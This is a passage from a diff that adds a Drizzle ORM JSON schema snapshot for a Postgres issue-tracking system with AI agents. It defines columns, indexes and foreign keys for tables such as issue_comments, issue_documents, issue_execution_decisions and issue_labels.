+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_id_issues_id_fk": {
+          "name": "issue_attachments_issue_id_issues_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_asset_id_assets_id_fk": {
+          "name": "issue_attachments_asset_id_assets_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_comment_id_issue_comments_id_fk": {
+          "name": "issue_attachments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_comments": {
+      "name": "issue_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "on_behalf_of_user_id": {
+          "name": "on_behalf_of_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_agent_id": {
+          "name": "derived_author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_created_by_run_id": {
+          "name": "derived_created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_source": {
+          "name": "derived_author_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "presentation": {
+          "name": "presentation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_type": {
+          "name": "deleted_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_agent_id": {
+          "name": "deleted_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_user_id": {
+          "name": "deleted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_run_id": {
+          "name": "deleted_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_comments_issue_idx": {
+          "name": "issue_comments_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_idx": {
+          "name": "issue_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_issue_created_at_idx": {
+          "name": "issue_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_author_issue_created_at_idx": {
+          "name": "issue_comments_company_author_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_body_search_idx": {
+          "name": "issue_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_comments_company_id_companies_id_fk": {
+          "name": "issue_comments_company_id_companies_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_issue_id_issues_id_fk": {
+          "name": "issue_comments_issue_id_issues_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_comments_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_on_behalf_of_user_id_user_id_fk": {
+          "name": "issue_comments_on_behalf_of_user_id_user_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "user",
+          "columnsFrom": [
+            "on_behalf_of_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_derived_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "derived_author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "derived_created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_agent_id_agents_id_fk": {
+          "name": "issue_comments_deleted_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "deleted_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "deleted_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_create_idempotency_keys": {
+      "name": "issue_create_idempotency_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_create_idempotency_keys_company_key_uq": {
+          "name": "issue_create_idempotency_keys_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_issue_idx": {
+          "name": "issue_create_idempotency_keys_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_company_created_at_idx": {
+          "name": "issue_create_idempotency_keys_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_create_idempotency_keys_company_id_companies_id_fk": {
+          "name": "issue_create_idempotency_keys_company_id_companies_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_create_idempotency_keys_issue_id_issues_id_fk": {
+          "name": "issue_create_idempotency_keys_issue_id_issues_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_documents": {
+      "name": "issue_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_documents_company_issue_key_uq": {
+          "name": "issue_documents_company_issue_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_document_uq": {
+          "name": "issue_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_company_issue_updated_idx": {
+          "name": "issue_documents_company_issue_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_documents_company_id_companies_id_fk": {
+          "name": "issue_documents_company_id_companies_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_documents_issue_id_issues_id_fk": {
+          "name": "issue_documents_issue_id_issues_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_documents_document_id_documents_id_fk": {
+          "name": "issue_documents_document_id_documents_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_execution_decisions": {
+      "name": "issue_execution_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_type": {
+          "name": "stage_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_execution_decisions_company_issue_idx": {
+          "name": "issue_execution_decisions_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_execution_decisions_stage_idx": {
+          "name": "issue_execution_decisions_stage_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_execution_decisions_company_id_companies_id_fk": {
+          "name": "issue_execution_decisions_company_id_companies_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_issue_id_issues_id_fk": {
+          "name": "issue_execution_decisions_issue_id_issues_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_actor_agent_id_agents_id_fk": {
+          "name": "issue_execution_decisions_actor_agent_id_agents_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_inbox_archives": {
+      "name": "issue_inbox_archives",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archived_by_actor_type": {
+          "name": "archived_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'user'"
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_inbox_archives_company_issue_idx": {
+          "name": "issue_inbox_archives_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_user_idx": {
+          "name": "issue_inbox_archives_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_issue_user_idx": {
+          "name": "issue_inbox_archives_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_inbox_archives_company_id_companies_id_fk": {
+          "name": "issue_inbox_archives_company_id_companies_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_issue_id_issues_id_fk": {
+          "name": "issue_inbox_archives_issue_id_issues_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_agent_id_agents_id_fk": {
+          "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "issue_inbox_archives_archived_by_actor_type_check": {
+          "name": "issue_inbox_archives_archived_by_actor_type_check",
+          "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.issue_labels": {
+      "name": "issue_labels",
+      "schema": "",
+      "columns": {
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_labels_issue_idx": {
+          "name": "issue_labels_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_label_idx": {
+          "name": "issue_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_company_idx": {
+          "name": "issue_labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_labels_issue_id_issues_id_fk": {
+          "name": "issue_labels_issue_id_issues_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_label_id_labels_id_fk": {
+          "name": "issue_labels_label_id_labels_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_company_id_companies_id_fk": {
+          "name": "issue_labels_company_id_companies_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_labels_pk": {
+          "name": "issue_labels_pk",
+          "columns": [
+            "issue_id",
+            "label_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_plan_decompositions": {
+      "name": "issue_plan_decompositions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_plan_revision_id": {
+          "name": "accepted_plan_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_interaction_id": {
+          "name": "accepted_interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'in_flight'"
+        },
+        "request_fingerprint": {
+          "name": "request_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_child_count": {
+          "name": "requested_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_children": {
+          "name": "requested_children",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "child_issue_ids": {
+          "name": "child_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_plan_decompositions_company_source_status_idx": {
+          "name": "issue_plan_decompositions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
